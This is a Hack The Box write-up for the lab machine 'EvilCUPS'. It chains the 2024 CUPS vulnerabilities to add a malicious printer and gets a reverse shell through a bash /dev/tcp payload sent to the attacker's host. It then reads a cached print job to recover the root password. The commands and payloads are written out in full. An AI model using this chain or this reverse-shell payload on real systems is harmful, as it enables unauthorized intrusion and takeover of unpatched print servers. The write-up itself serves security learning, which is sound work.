Hack The Box - EvilCUPS

October 15, 2024

EvilCUPS

EvilCUPS is a Linux machine affected by several vulnerabilities discovered in CUPS (Common Unix Printing System) in September 2024. These vulnerabilities—CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177—can be chained to achieve RCE by giving an unauthenticated attacker the ability to add a malicious printer to the machine, and when a print job is executed, arbitrary commands are run. In this case, exploiting these flaws results in a shell as the lp user. This user's permissions can then be leveraged to read a print job from the cache containing the root user's password.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ nmap -sC -sV -oA nmap/output 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 13:19 EDT
Nmap scan report for 10.10.11.40
Host is up (0.062s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_  256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open  ipp     CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry 
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.08 seconds

As shown in the Nmap output above, the machine was running CUPS on TCP port 631, so I checked UDP port 631 since CUPS uses it for printer sharing and discovery, it was also open:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ sudo nmap -sU -p 631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-11 13:21 EDT
Nmap scan report for 10.10.11.40
Host is up (0.041s latency).

PORT    STATE         SERVICE
631/udp open|filtered ipp

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

Next, I visited the web interface by browsing to 10.10.11.40:631:

CUPS GUI home page

Access to the Administration page was forbidden:

CUPS GUI admin page forbidden

The Jobs page allowed active and completed jobs to be viewed:

CUPS GUI jobs page

"Show All Jobs" listed one completed job:

CUPS GUI show all jobs

The Printers page showed one printer on the machine:

CUPS GUI printers page

Clicking "Canon_MB2300_series" brought up the administration page for the printer:

CUPS GUI Canon_MB2300_series printer

Notably, the "Maintenance" dropdown can be used to print a test page:

Maintenance dropdown

Recently, a researcher discovered a vulnerability chain consisting of four CVEs in CUPS that leads to RCE, detailed here. Based on the original exploit script, the creator of this HTB machine wrote a PoC, which can be found here. The PoC creates a fake printer on the target machine that, when used to run a print job, can execute a specified command. I cloned the script and ran it, specifying a reverse shell command:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS/evil-cups]
└─$ python3 evilcups.py 10.10.14.15 10.10.11.40 "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.15/443 0>&1'&"
IPP Server Listening on ('10.10.14.15', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
20 elapsed
target connected, sending payload ...

After running the exploit, a new printer was added:

CUPS GUI new printer

Next, I started a listener with nc, then went to the administration page for the HACKED_10_10_14_15 printer and selected the "Print Test Page" option from the dropdown:

CUPS GUI Print Test Page

After clicking "Print Test Page", nc caught a shell as lp which is the dedicated system account used for managing printing services:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.40] 37032
bash: cannot set terminal process group (1270): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ id
id
uid=7(lp) gid=7(lp) groups=7(lp)

I upgraded the shell with the following commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

Ctrl + Z

stty raw -echo; fg

The only user directory on the machine was htb, to which lp had read, write, and execute permissions:

lp@evilcups:/$ cd home
lp@evilcups:/home$ ls -la
total 12
drwxr-xr-x  3 root root 4096 Sep 27 21:05 .
drwxr-xr-x 18 root root 4096 Sep 28 11:15 ..
drwxrwx---  2 htb  lp   4096 Sep 28 22:11 htb
lp@evilcups:/home$ cd htb
lp@evilcups:/home/htb$ ls -la
total 24
drwxrwx--- 2 htb  lp   4096 Sep 28 22:11 .
drwxr-xr-x 3 root root 4096 Sep 27 21:05 ..
lrwxrwxrwx 1 htb  lp      9 Sep 28 11:12 .bash_history -> /dev/null
-rwxrw---- 1 htb  lp    220 Sep 27 21:05 .bash_logout
-rwxrw---- 1 htb  lp   3526 Sep 27 21:05 .bashrc
-rwxrw---- 1 htb  lp    807 Sep 27 21:05 .profile
-rw-r--r-- 1 root htb    33 Oct 11 13:19 user.txt

The home directory of lp was /var/spool/cups/tmp, there wasn't anything useful there:

lp@evilcups:/home/htb$ cd ~
lp@evilcups:~$ pwd
/var/spool/cups/tmp
lp@evilcups:~$ ls -la
total 12
drwxrwx--T 2 root lp 4096 Oct 11 13:33 .
drwx--x--- 3 root lp 4096 Oct 11 13:48 ..
-rw------- 1 lp   lp  146 Oct 11 13:40 .bash_history
-rw------- 1 lp   lp    0 Oct 11 13:28 cups-dbus-notifier-lockfile

When using CUPS, the lp user manages files and directories related to printing. Job files are typically stored in /var/spool/cups/. By default, the lp user can access /var/spool/cups/ but cannot list its contents directly, as lp only has execute permissions on /var/spool/cups/:

lp@evilcups:~$ ls -ld /var/spool/cups
drwx--x--- 3 root lp 4096 Oct 11 13:48 /var/spool/cups

lp does have read access to files in the cache, as long as the exact file name within the directory is provided. The CUPS documentation here states how job files are named:

... control files starting with the letter "c" ("c00001", "c99999", "c100000", etc.) and data files starting with the letter "d" ("d00001-001", "d99999-001", "d100000-001", etc.) ...

So, to view a data file, the format would be d<job_id>-<sequence_number>. As shown earlier in the web interface, the Jobs page displayed active and completed jobs, with one completed job listed having the ID "Canon_MB2300_series-1":

CUPS GUI All Jobs ID number

"1" in "Canon_MB2300_series-1" corresponds to the job ID. Thus, the file name for the first sequence of the first job would be d00001-001. Since lp had read access to jobs in the cache, I could read the PostScript data from /var/spool/cups/d00001-001. This revealed the contents of pass.txt, which contained the password Br3@k-G!@ss-r00t-evilcups:

lp@evilcups:~$ cat /var/spool/cups/d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
%%CreationDate: Sat Sep 28 09:31:01 2024
%%Orientation: Portrait
%%Pages: (atend)
%%DocumentMedia: A4 595 842 0 () ()
%%DocumentNeededResources: (atend)
%%EndComments
%%BeginProlog
%%BeginResource: procset Enscript-Prolog 1.6.5 90
%
% Procedures.
%

<...snip...>

/fname (pass.txt) def
/fdir (.) def
/ftail (pass.txt) def
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier 
%%EOF

d00001-001 could also be copied locally and then converted into a PDF, which shows what was actually printed on the page:

┌──(kali㉿kali)-[~/Desktop/HTB/EvilCUPS]
└─$ ps2pdf d00001-001 d00001-001.pdf

d00001-001.pdf:

password in pass.txt

I used this password to log in as the root user:

lp@evilcups:~$ su -
Password: 
root@evilcups:~# id
uid=0(root) gid=0(root) groups=0(root)
root@evilcups:~# ls
root.txt

CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS